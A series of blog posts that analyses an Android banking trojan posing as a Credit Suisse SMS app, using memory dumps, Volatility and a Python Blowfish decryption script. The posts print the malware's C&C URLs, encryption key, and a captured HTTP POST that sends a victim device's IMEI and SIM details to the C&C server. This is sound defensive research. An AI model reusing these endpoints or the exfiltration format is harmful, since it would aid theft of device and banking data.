Saturday, October 24, 2015

Decrypting 'emmental' - Blowfish and base64

Following the last post, I found in memory some interesting strings:

  • 4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a
  • 12345678


Searching for those strings in Google, I find two interesting articles

So I am dealing with the same kind of malware or from the same family. The malware uses base64 to encode the data and Blowfish to encrypt the data, and we know the IV and the key.Now that we know the algorithm, I can modify the python script, in order to decrypt the initial configuration file, which contains the C&C URLs. 


#!/usr/bin/python

from Crypto.Cipher import Blowfish
from Crypto import Random
from struct import pack
from binascii import hexlify, unhexlify
import sys

file1 =  sys.argv[1]
file2 = sys.argv[2]
file_out = sys.argv[3]


ciphertext_base64 = open(file1,'r')
blfs_key =  open(file2,'r')


file_blfs_key = blfs_key.read()
file_ciphertext_base64 = ciphertext_base64.read()

#ciphertext_base64.read

ciphertext_raw = file_ciphertext_base64.decode("base64")
IV = "12345678"
_KEY = file_blfs_key
ciphertext = ciphertext_raw
KEY = hexlify(_KEY)[:50]
cipher = Blowfish.new(KEY, Blowfish.MODE_CBC, IV)
message = cipher.decrypt(ciphertext)
config_plain = open(file_out,'w')

config_plain.write(message)


The first argument is the file containing the config encrypted (config.cfg), the second one is the file with the key (blfs.key) and the third one is the file where to dump the configuration file in clear text.

To check the script, I use a more recent sample (3df9a48b543d900d2fe502daa78d27a2eb66b99bce42f745ceb8fbe0db0efeae
) from a few weeks ago. 

$python decode3.py config.cfg blfs.key config_plain.txt






I also tried to do it with OpenSSL as this tool is really powerful to encrypt, decrypt, decoded and encode base64 strings, etc, but unfortunately OpenSSL doesn't support Blowfish with a key bigger than 256bits. 

Now that I know what the keys in memory are used for and that I can decrypt the initial config file which contains the C&C URL, I am going to check if there is something in the memory dump from previous post  which might be encrypted the same way. I say that because I suspect that the data sent in the HTTP POST is using the same kind of encryption (base64 + Blowfish). For example, it is worth to check the initial HTTP POST sent by the compromised device to the C&C.


POST /img/main.php HTTP/1.1
User-agent: Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Pragma: no-cache
Host: anman.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 1354
i=McsZtRV7Bv7ZjMSzwk5aIyZEiijP8F38NJcxd5VNElbrlo%2FJB4BPQWpkRjN2pXBhPrmxfuJzMEC%2F%0ABb8AQarQilW71ri4fhjb3Fd6zeGkgg1lV%2B1b%2B42po%2Bd8Xh0mkmHMeE8q6Ov9atedif800UTMtbHK%0AMy3kAD9ZmuC3yOejMJ1%2BGRDc%2F057x8d7zPCEorf87Gj6BH7oXMXikrQlgobvfVkTPuSHJ8b47lxk%0Ad3xI8PQP5vbLDoyDp0vAyfmxNTGjUF%2Fvwg1MIgCBMnYg6O5GGJSxXzjP14%2BAExvGsOXy%2BIpj%2FhpD%0AAZNkycp%2BshcbF%2FTXVJmEd1BD2%2FBQU3LwuUzK4%2B98%2FWPbGY0m2jK7BktB5kJmdCoYIn0bM7SG%2FPxs%0AvPlXYKFjEBO4KfMwyQygUsi2aT%2FZbiPfdo3AnGD3d6ewRTsB%2F8XHRO4R3nsspzZ7AjDKB%2FjeW7rC%0ASD%2BKuRZaUrrmXckwLbssneu6OkeQTdLliwLzweIfWHpyMa5jCZ3rfZ1teGs3eNlr1V91h%2FGxjygz%0A8JxLwNLUin0ZW9axolXA6TG7WuzAiz5VVBiXEF7pZO2SPbJA6vSjmPqU8mWYO4vv%2FQ103LVBK3YY%0AlztTLbDvgINwm%2B%2FKPw7UGgo1Ua3eJdMwTIJer7XnzHLeucS7kccI5UHX2n2lzBNA35%2BleqIME3%2Fe%0A4NNG2vVREhQXamdhCToLOAXE5Sg%2Btkh5otiNh9kTkbbyKFqqcTNS6U5ZWPNTwZrvJ7gLQhwpBeEk%0Afp1DTlhIs2QAimwdBk8l1tAq%2BHEHhWY7X58iFdT%2Ffx9%2FdNJnnO5hyWMQtZkJLG0L7oc0nl3%2BDvN6%0AbNXksJ8%2Bij4tMbKeNCru0GQ%2BnLee5OJl4wzf8PrFAt7p0Uc2lx2FLnBSOImQAjxacbId78bHf5Fv%0Ae2cAkq5zCiR45N6A21ew%2BJNOCG6wsafA0%2Fwhvvl0LARuG8%2FTfWSuiJFmMN6UifkTKGwEc9B7tbc8%0AOsvDqsdZPSgbI32HqwTWIQb1Q4gIdyNobbKdntEma8hD9bBguQjxbgMkaIlSDfWj5sV



This HTTP POST request is URL encoded, so we need to decode it first. We can do it very easily in python:

import sys
import urllib
file1 =  sys.argv[1]
url_encode = open(file1,'r')
url_encode_2 = url_encode.read()
url_decode = urllib.unquote(url_encode_2).decode('utf8') 
print url_decode

So finally I have the string URL decoded. 



Now, it is time to try to decrypt the data, using the script for the Blowfish decryption: 

$python decode3.py  output_string_decoded.txt  blfs.key output





Bingo! The data is there in clear text. I can see the full command sent through HTTP to the C&C. This command is composed of:
  1. An initial string: a:4:{s:6:"device";s:750:
  2. A base64 encoded string
  3. The final string: ";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
The first and third string are some C&C commands. The second string, in base64, can be decoded with the command 'base64 --decode'. 

Very interesting data: the full information of the device is displayed!. So let's recap a bit what is going on here:

  1. The malware dumps lot of key information from the device (fingerprint)
  2. The malware encodes base64 all that data
  3. The malware encrypts all the data from previous step together with some other C&C commands. 
  4. The malware send through HTTP POST all the encrypted data from previous step.


So basically, we are able to decrypt the initial HTTP communication, which uses the same blowfish key and IV.

But all this information could be also gathered from memory without the need of reversing the HTTP communication. For example, some other C&C commands seen in memory:

";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}.
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}

";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
Rand code:
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
Rand code: 229195
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}
Rand code: 67302
Rand code: 664398
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}.
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}


During this post I explained  how it is possible to reverse and decrypt the initial configuration file of the malware, which contains the URL C&C but also the initial HTTP communication with the C2C. Also, that this information is also in memory in clear text.

However, is the whole communication with the C&C done this way?. I will analyse this in other post :)

Thursday, October 15, 2015

Android Memory Analysis (III) - Analyzing the data

In last post I extracted the important memory blocks assigned to the suspicious process. Now, I will check the content of those blocks.

The first approach I will use is to run the UNIX command 'strings' against the file 'task.17145.0x12e01000.vma' and see if there are something interesting.



Extracting data with 'strings'


$ strings task.17145.0x12e01000.vma | more


AppName=CreditSuisse SmsSecurity;
Version=3.8;
DefaultApp=Yes;
Admin=No;
SimState=READY;
SimCountryCode=ch;
SimOperatorCode=22854;
SimOperatorName=Lycamobile;
SimSerialNumber=*******************
PhoneNumber=;
DeviceIMEI=************
SubscriberId=*******
NETWORK=wifi;
BRAND=google;
FINGERPRINT=google/hammerhead/hammerhead:5.1.1/LMY48I/2074855:user/release-keys;
MANUFACTURER=LGE;
MODEL=Nexus 5;
PRODUCT=hammerhead;
OS_Info=os.name: Linux | os.arch: armv7l | os.version: 3.4.0-g5170b88 | java.vendor: The Android Project | java.version: 0
QXBwTmFtZT1DcmVkaXRTdWlzc2UgU21zU2VjdXJpdHk7ClZlcnNpb249My44Owo7CkRlZmF1bHRBcHA9WWVzOwpBZG1pbj1ObzsKU2ltU3RhdGU9UkVBRFk7ClNpbUNvdW50cnlDb2RlPWNoOwpTaW1PcGVyYXRvckNvZGU9MjI4NTQ7ClNpbU9wZXJhdG9yTmFtZT1MeWNhbW9iaWxlOwpTaW1TZXJpY***********************xMDAyODU4MDgyMDsKUGhvbmVOdW1iZXI9OwpEZXZpY2VJTUVJPTM1ODI0MDA1MTkzMjU2NDsKU3Vic2NyaWJlcklkPTIyODU0MDAwMjg1ODA4MjsKTkVUV09SSz13aWZpOwpCUkFORD1nb29nbGU7CkZJTkdFUlBSSU5UPWdvb2dsZS9oYW1tZX*****************lcmhlYWQ6NS4xLjEvTE1ZNDhJLzIwNzQ4NTU6dXNlci9yZWxlYXNlLWtleXM7Ck1BTlVGQUNUVVJFUj1MR0U7Ck1PREVMPU5leHVzIDU7ClBST0RVQ1Q9aGFtbWVyaGVhZDsKT1NfSW5mbz1vcy5uYW1lOiBMaW51eCB8IG9zLmFyY2g6IGFybXY3bCB8IG9zLnZlcnNpb246IDMuNC4wLWc1MTcwYjg4IHwgamF2YS52ZW5k
b3I6IFRoZSBBbmRyb2lkIFByb2plY3QgfCBqYXZhLnZlcnNpb246IDA=



a:4:{s:6:"device";s:750:"QXBwTmFtZT1DcmVkaXRTdWlzc2UgU21zU2VjdXJpdHk7ClZlcnNpb249My44Owo7CkRlZmF1bHRB
cHA9WWVzOwpBZG1pbj1ObzsKU2ltU3RhdGU9UkVBRFk7ClNpbUNvdW50cnlDb2RlPWNoOwpTaW1P
cGVyYXRvckNvZGU9MjI4NTQ7ClNpbU9wZXJhdG9yTmFtZT1MeWNhbW9iaWxlOwpTaW1TZXJpYWxO
dW1iZXI9ODk0MTU0MDAxMDAyODU4MDgyMDsKUGhvbmVOdW1iZXI9OwpEZXZpY2VJTUVJPTM1ODI0
MDA1MTkzMjU2NDsKU3Vic2NyaWJlcklkPTIyODU0MDAwMjg1ODA4MjsKTkVUV09SSz13aWZpOwpC
UkFORD1nb29nbGU7CkZJTkdFUlBSSU5UPWdvb2dsZS9oYW1tZXJoZWFkL2hhbW1lcmhlYWQ6NS4x
LjEvTE1ZNDhJLzIwNzQ4NTU6dXNlci9yZWxlYXNlLWtleXM7Ck1BTlVGQUNUVVJFUj1MR0U7Ck1P
REVMPU5leHVzIDU7ClBST0RVQ1Q9aGFtbWVyaGVhZDsKT1NfSW5mbz1vcy5uYW1lOiBMaW51eCB8
IG9zLmFyY2g6IGFybXY3bCB8IG9zLnZlcnNpb246IDMuNC4wLWc1MTcwYjg4IHwgamF2YS52ZW5k
b3I6IFRoZSBBbmRyb2lkIFByb2plY3QgfCBqYXZhLnZlcnNpb246IDA=

";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}



<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="Pref5"></string>
    <int name="PASSADDED" value="67302" />
    <int name="DEL" value="0" />
    <string name="Num5"></string>
    <string name="filters"></string>
    <string name="Num10"></string>
    <int name="RID" value="25" />
    <string name="PHONE_NUMBER"></string>
    <int name="FIRST_ACTIVITY" value="1" />
    <int name="RTB" value="0" />
    <string name="IMEI">***********</string>
    <string name="Pref10"></string>
    <string name="USE_URL_MAIN">http://anman.com/img/main.php</string>
    <string name="Pref3"></string>
    <string name="URL_MAIN">http://anman.com/img/main.php;http://frankstain.com/allrent/om/main.php</string>
    <string name="Pref1"></string>
    <string name="Num1"></string>
    <string name="Num3"></string>

</map>






NfvnkjlnvkjKCNXKDKLFHSKD:LJmdklsXKLNDS:<XObcniuaebkjxbcz$


Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0



a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}
!(Ew

T)J("

4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a


12345678
12345678
'PV<
User-agent
Content-Type
Pragma
no-cache
anman.com
Connection
Keep-Alive
Accept-Encoding
Content-Length

i=McsZtRV7Bv7ZjMSzwk5...A%2FFIjkPOweOoHRvNnv%2By5XF4B216Rozw%0A&s=&
POST /img/main.php HTTP/1.1
application/x-www-form-urlencoded; charset=UTF-8
,pppAp
,ppR)p
,pppAp
,ppR)p@


HTTP/1.1 500 Internal Server Error
Date: Sat, 05 Sep 2015 17:53:11 GMT
Server: Apache PHP/5.2.9 with Suhosin-Patch
X-Powered-By: PHP/5.5.28-1~dotdeb+7.1
Connection: close
Set-Cookie: PHPSESSID=4ui04g3eo19adndud5n42a4i03; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
kmHMeE8q6Ov9atedif800UTMtbHK%0AMy3kAD9ZmuC3yOejMJ1%2BGRDc%2F057x8d7zPCEorf87Gj6BH7oXMXikrQlgobvfVkTPuSHJ8b47lxk%0Ad3xI8PQP5vbLDoyDp0vAyfmxNTGjUF%2
Fvwg1MIgCBMnYg6O5GGJSxXzjP14%2BAExvGsOXy%2BIpj%2FhpD%0AAZNkycp%2BshcbF%2FTXVJmEd1BD2%2FBQU3LwuUzK4%2B98%2FWPbGY0m2jK7BktB5kJmdCoYIn0bM7SG%2FPxs%0A
vPlXYKFjEBO4KfMwyQygUsi2aT%2FZbiPfdo3AnGD3d6ewRTsB%2F8XHRO4R3nsspzZ7AjDKB%2FjeW7rC%0ASD%2BKuRZaUrrmXckwLbssneu6OkeQTdLliwLzweIfWHpyMa5jCZ3rfZ1teGs
3eNlr1V91h%2FGxjygz%0A8JxLwNLUin0ZW9axolXA6TG7WuzAiz5VVBiXEF7pZO2SPbJA6vSjmPqU8mWYO4vv%2FQ103LVBK3YY%0AlztTLbDvgINwm%2B%2FKPw7UGgo1Ua3eJdMwTIJer7X
nzHLeucS7kccI5UHX2n2lzBNA35%2BleqIME3%2Fe%0A4NNG2vVREhQXamdhCToLOAXE5Sg%2Btkh5otiNh9kTkbbyKFqqcTNS6U5ZWPNTwZrvJ7gLQhwpBeEk%0Afp1DTlhIs2QAimwdBk8l1
tAq%2BHEHhWY7X58iFdT%2Ffx9%2FdNJnnO5hyWMQtZkJLG0L7oc0nl3%2BDvN6%0AbNXksJ8%2Bij4tMbKeNCru0GQ%2BnLee5OJl4wzf8PrFAt7p0Uc2lx2FLnBSOImQAjxacbId78bHf5Fv
%0Ae2cAkq5zCiR45N6A21ew%2BJNOCG6wsafA0%2Fwhvvl0LARuG8%2FTfWSuiJFmMN6UifkTKGwEc9B7tbc8%0AOsvDqsdZPSgbI32HqwTWIQb1Q4gIdyNobbKdntEma8hD9bBguQjxbgMkaI
lSDfWj5sVW1ssoeuFR%0ALVfzxi4oNnEUmgQ6dlNXKRPwumRBiArE6lpNrvV2oT%2FFuUfyodAwHuZF3%2FPxivNahri6Q%2FfyJ6w5%0AmpITS6x5gv4UzW3HnqQ1NEWp8qys8md9gwh%2B4v
oxiNbsaRW6rSTWdtDHN6mg4%2BRLpMn5ZNd2AxUc%0A&s=&



a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}
T)J("
hy"p
4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a
4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a
4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a
4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a
application/x-www-form-urlencoded; charset=UTF-8
,pppAp

,ppR)p








Basically, we can see in clear text some evidence. For example, it is possible the HTTP communication (commands): URL, user-agent, POST content, and some other stuff which looks like C&C commands. Also there is a very interesting string: 

"4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a".



Using and HEX editor to analyse the memory dump

Another approach is to use an HEX, like 'hexedit' in UNIX or MacOSX. 

$ hexedit task.17145.0x12e01000.vma






As we can see the same information can be seen with both methods. 

During the next post I will start investigating what information can be gather from the evidence found.




Tuesday, October 13, 2015

Android Memory Analysis (II) - Extracting the memory and analyzing with Volatility

During the previous post I described the steps necessary to be able to dump the memory of a physical Android phone.

Now, we will focus on searching evidence. The first step is to install a malware sample in the device and afterwards dump the memory. The malware sample used is from the Emmental campaign (986d67fdff01c836be442fac5712ceaa), and in future posts we will analyze a bit more this campaign.

Running the malware and dumping the memory

First step is to install the sample with 'adb' (adb install CreditSuisse-SmsSecurity-v-20_08.apk) and then execute the application just intalled.

The smartphone gets Internet access through a WiFi Pinneaple connected to a Macbook, as showed in the screenshot below:



This setup permits to capture the network traffic through Wireshark.



Once the application has started, I dump the memory of the device by loading LiME module into the kernel via 'insmod /sdcard/lime.kopath=TCP:4444 lime2.dump format=lime' as explained in the previous post.

The memory dump is sent by netcat to the host and stored as lime2.dump

Running volatility against the memory dump

Extracting the processing running 

During the previous post I created a profile for Volatility, named LinuxNexus5-511ARM,  base on the customize Android kernel.  Now it is time to run Volatility :)

# List the process running in the system
python vol.py --profile=LinuxNexus5-511ARM -f ~/Android2/CS_mem_image/lime2.dump linux_psaux

Pid Uid Gid Arguments
1 0 0 /init
2 0 0 [kthreadd]
3 0 0 [ksoftirqd/0]
7 0 0 [kworker/u:0H]
8 0 0 [migration/0]
13 0 0 [khelper]
14 0 0 [netns]
18 0 0 [modem_notifier]
19 0 0 [smd_channel_clo]
20 0 0 [smsm_cb_wq]
22 0 0 [rpm-smd]
23 0 0 [kworker/u:1H]
24 0 0 [irq/317-earjack]
37 0 0 [sync_supers]
38 0 0 [bdi-default]
39 0 0 [kblockd]
40 0 0 [vmalloc]
41 0 0 [khubd]
42 0 0 [irq/102-msm_iom]
43 0 0 [irq/102-msm_iom]
44 0 0 [irq/102-msm_iom]
45 0 0 [irq/79-msm_iomm]
46 0 0 [irq/78-msm_iomm]
47 0 0 [irq/78-msm_iomm]
48 0 0 [irq/74-msm_iomm]
49 0 0 [irq/75-msm_iomm]
50 0 0 [irq/75-msm_iomm]
51 0 0 [irq/75-msm_iomm]
52 0 0 [irq/75-msm_iomm]
53 0 0 [irq/273-msm_iom]
54 0 0 [irq/273-msm_iom]
55 0 0 [irq/97-msm_iomm]
56 0 0 [irq/97-msm_iomm]
57 0 0 [irq/97-msm_iomm]
58 0 0 [l2cap]
59 0 0 [a2mp]
60 0 0 [cfg80211]
62 0 0 [qmi]
63 0 0 [nmea]
64 0 0 [msm_ipc_router]
65 0 0 [apr_driver]
67 0 0 [kswapd0]
68 0 0 [fsnotify_mark]
69 0 0 [cifsiod]
70 0 0 [crypto]
88 0 0 [ad_calc_wq]
89 0 0 [hdmi_tx_workq]
90 0 0 [anx7808_work]
91 0 0 [k_hsuart]
92 0 0 [diag_wq]
93 0 0 [diag_cntl_wq]
94 0 0 [diag_dci_wq]
95 0 0 [kgsl-3d0]
97 0 0 [f9966000.spi]
108 0 0 [usbnet]
109 0 0 [irq/329-anx7808]
110 0 0 [k_rmnet_mux_wor]
111 0 0 [f_mtp]
112 0 0 [file-storage]
113 0 0 [uether]
114 0 0 [synaptics_wq]
115 0 0 [irq/362-s3350]
117 0 0 [msm_vidc_worker]
118 0 0 [msm_vidc_worker]
119 0 0 [msm_cpp_workque]
120 0 0 [irq/350-bq51013]
122 0 0 [dm_bufio_cache]
123 0 0 [dbs_sync/0]
124 0 0 [dbs_sync/1]
125 0 0 [dbs_sync/2]
126 0 0 [dbs_sync/3]
127 0 0 [cfinteractive]
128 0 0 [irq/170-msm_sdc]
129 0 0 [binder]
130 0 0 [usb_bam_wq]
131 0 0 [krfcommd]
132 0 0 [bam_dmux_rx]
133 0 0 [bam_dmux_tx]
134 0 0 [rq_stats]
135 0 0 [deferwq]
136 0 0 [irq/361-MAX1704]
138 0 0 [mmcqd/1]
139 0 0 [mmcqd/1rpmb]
140 0 0 [wl_event_handle]
141 0 0 [dhd_watchdog_th]
142 0 0 [dhd_dpc]
143 0 0 [dhd_rxf]
144 0 0 [dhd_sysioc]
145 0 0 [vibrator]
146 0 0 [max1462x]
147 0 0 [irq/310-maxim_m]
148 0 0 [irq/311-maxim_m]
149 0 0 /sbin/ueventd
151 0 0 [jbd2/mmcblk0p25]
152 0 0 [ext4-dio-unwrit]
155 0 0 [flush-179:0]
157 0 0 [jbd2/mmcblk0p28]
158 0 0 [ext4-dio-unwrit]
162 0 0 [jbd2/mmcblk0p27]
163 0 0 [ext4-dio-unwrit]
164 0 0 [jbd2/mmcblk0p16]
165 0 0 [ext4-dio-unwrit]
188 1036 1036 /system/bin/logd
189 0 0 /sbin/healthd
190 0 0 /system/bin/lmkd
191 1000 1000 /system/bin/servicemanager
194 0 0 /system/bin/vold
195 0 0 [IPCRTR]
196 1000 1003 /system/bin/surfaceflinger
197 9999 3004 /system/bin/rmt_storage
198 0 0 [sb-1]
199 0 0 [ipc_rtr_q6_ipcr]
200 1000 1000 /system/bin/qseecomd
202 0 0 [ngd_msm_ctrl_ng]
203 0 0 /system/bin/netd
204 0 0 /system/bin/debuggerd
205 1001 1001 /system/bin/rild
206 1019 1019 /system/bin/drmserver
207 1013 1005 /system/bin/mediaserver
208 1012 1012 /system/bin/installd
210 1017 1017 /system/bin/keystore /data/misc/keystore
212 1001 1001 /system/bin/bridgemgrd
213 1001 1001 /system/bin/qmuxd
214 1001 1000 /system/bin/netmgrd
215 9999 3004 /system/bin/sensors.qcom
218 0 1001 /system/bin/thermal-engine-hh
221 0 0 [msm_slim_qmi_cl]
222 0 0 [msm_qmi_rtx_q]
225 0 0 [irq/288-wcd9xxx]
230 0 0 zygote
235 0 0 [kauditd]
241 1000 1000 /system/bin/qseecomd
242 1023 1023 /system/bin/sdcard -u 1023 -g 1023 -l /data/media /mnt/shell/emulated
243 1006 1006 /system/bin/mm-qcamera-daemon
244 1000 3004 /system/bin/time_daemon
261 2000 2000 /sbin/adbd --root_seclabel=u:r:su:s0
306 0 0 [msm_thermal:hot]
307 0 0 [msm_thermal:fre]
346 0 0 [mdss_fb0]
511 0 0 daemonsu:mount:master
541 0 0 [IPCRTR]
543 0 0 [ipc_rtr_smd_ipc]
574 0 0 daemonsu:master
772 1000 1000 system_server
912 1010 1010 /system/bin/wpa_supplicant -iwlan0 -Dnl80211 -c/data/misc/wifi/wpa_supplicant.conf -I/system/etc/wifi/wpa_supplicant_overlay.conf -N -ip2p0 -Dnl80211 -c/data/misc/wifi/p2p_supplicant.conf -I/system/etc/wifi/p2p_supplicant_overlay.conf -puse_p2p_group_interface=1 -e/data/misc/wifi/entropy.bin -g@android:wpa_wlan0
954 10022 10022 com.android.systemui
1093 10024 10024 com.google.android.googlequicksearchbox:interactor
1117 10056 10056 com.google.android.inputmethod.latin
1166 1027 1027 com.android.nfc
1192 1001 1001 com.redbend.vdmc
1213 1001 1001 com.android.phone
1261 10024 10024 com.google.android.googlequicksearchbox
1350 10009 10009 com.google.process.gapps
1720 10009 10009 com.google.android.gms
1742 10009 10009 com.google.android.gms.persistent
1858 0 0 /system/bin/mpdecision --no_sleep --avg_comp
2352 0 0 daemonsu:10087
4084 0 0 daemonsu:0
4086 0 0 daemonsu:0:4081
4300 0 0 tmp-mksh -
6311 10067 10067 com.google.android.apps.plus
7463 10024 10024 com.google.android.googlequicksearchbox:search
9547 0 0 daemonsu:10088
24285 10006 10006 android.process.media
24315 10065 10065 com.google.android.apps.photos
28743 10008 10008 com.google.android.apps.gcs
28796 10061 10061 com.google.android.apps.magazines
32564 0 0 [kworker/0:0H]
3447 0 0 [kworker/u:4]
5478 0 0 [kworker/0:1H]
7409 0 0 [kworker/0:0]
9669 0 0 [kworker/u:7]
10520 10014 10014 com.google.android.partnersetup
10861 0 0 [kworker/u:12]
12900 10035 10035
13558 1000 1000 com.android.settings
13964 0 0 [kworker/u:14]
14116 1014 1014 /system/bin/dhcpcd -aABDKL -f /system/etc/dhcpcd/dhcpcd.conf -h android-173db3c715e97b6 wlan0
15087 10005 10005 com.android.defcontainer
15575 99028 99028 com.android.chrome:sandboxed_process7
15600 0 0 [kworker/0:1]
16038 2000 2000 /system/bin/sh -
16043 2000 2000 su -
16046 0 0 daemonsu:0:16043
16050 0 0 [kworker/0:3H]
16063 10087 10087 eu.chainfire.supersu
16185 0 0 tmp-mksh -
16354 0 0 [kworker/0:2]
16358 10091 10091 org.mozilla.firefox
16626 10004 10004 android.process.acore
16662 10017 10017 com.android.musicfx
16681 10018 10018 com.android.vending
16717 0 0 [kworker/0:3]
16740 10009 10009 com.google.android.gms:car
16763 10009 10009 com.google.android.gms.wearable
16787 10041 10041 com.google.android.apps.docs
16967 0 0 [kworker/u:0]
16968 0 0 [kworker/u:1]
17145 10093 10093 org.thoughtcrime.securesms
17372 0 0 [kworker/u:2]
17424 0 0 [kworker/0:2H]
17439 0 0 [kworker/u:3]
17686 0 0 insmod lime.ko path=TCP:4444 lime2.dump format=lime
17687 0 0 [migration/1]
17688 0 0 [kworker/1:0]
17689 0 0 [kworker/1:0H]
17690 0 0 [ksoftirqd/1]
17691 0 0 [kworker/1:1H]
17692 0 0 [kworker/1:2H]

The process worth to investigate, with PID 17145, is highlighted in yellow. 
As a note,  I have highlighted the process running the memory dump (PID 17686) 


Dumping the memory allocated to suspicious process

Once we know the PID of the process worth to investigate, it is possible to list all the blocks of memory allocated to that process with volatity and the  'linux_proc_maps' option:

$ python vol.py --profile=LinuxNexus5-511ARM -f lime2.dump -p 17145 linux_proc_maps
Offset Pid Name Start End Flags Pgoff Major Minor Inode File Path
------------------ -------- -------------------- ------------------ ------------------ ------ ---------- ------ ------ ---------- ---------
0x00000000ed175500 17145 crime.securesms 0x0000000012c00000 0x0000000012e01000 rw- 0x0 0 4 9397 /dev/ashmem/dalvik-main space

0x00000000ed175500 17145 crime.securesms 0x0000000012e01000 0x0000000013252000 rw- 0x201000 0 4 9397 /dev/ashmem/dalvik-main space

.........
........

0x00000000ed175500    17145 crime.securesms      0x00000000b6fe7000 0x00000000b6fe8000 r--        0x2000    179     25        325 /system/bin/app_
process32_original
0x00000000ed175500    17145 crime.securesms      0x00000000b6fe8000 0x00000000b6fe9000 rw-           0x0      0      0          0
0x00000000ed175500    17145 crime.securesms      0x00000000be027000 0x00000000be028000 ---           0x0      0      0          0

0x00000000ed175500    17145 crime.securesms      0x00000000be028000 0x00000000be827000 rw-           0x0      0      0          0 [stack]


This shows the full list of memory positions. Now, we get a list with all memory blocks numbers (this is column 'Start', which it is fourth) with some 'awk' command (awk '{print $4}')   and save in a file name. In this case we will use the name 'pos_mem.txt'.



$ head -3  pos_mem.txt
0x0000000012c00000
0x0000000012e01000
0x0000000013252000

0x0000000032c00000


Next step is to dump all the memory blocks in files to further investigate in order to figure out which contains interesting data.  I do it with a shell command  using Volatility with the 'linux_dump_map' option:


for i in `cat pos_mem.txt`; do python vol.py --profile=LinuxNexus5-511ARM -f lime2.dump linux_dump_map -p 17145 -s $i --dump-dir memoria_analisis/; done


The command file show which can of data is each memory file.

$ file * | grep -v ": data"
task.17145.0x12c00000.vma: dBase IV DBT of \377\377\377\377\377\377\377\377.DBF, blocks size 1, next free block index 1280, 1st item "\355"
task.17145.0x12e01000.vma: raw G3 data, byte-padded
task.17145.0x9f940000.vma: GLS_BINARY_LSB_FIRST
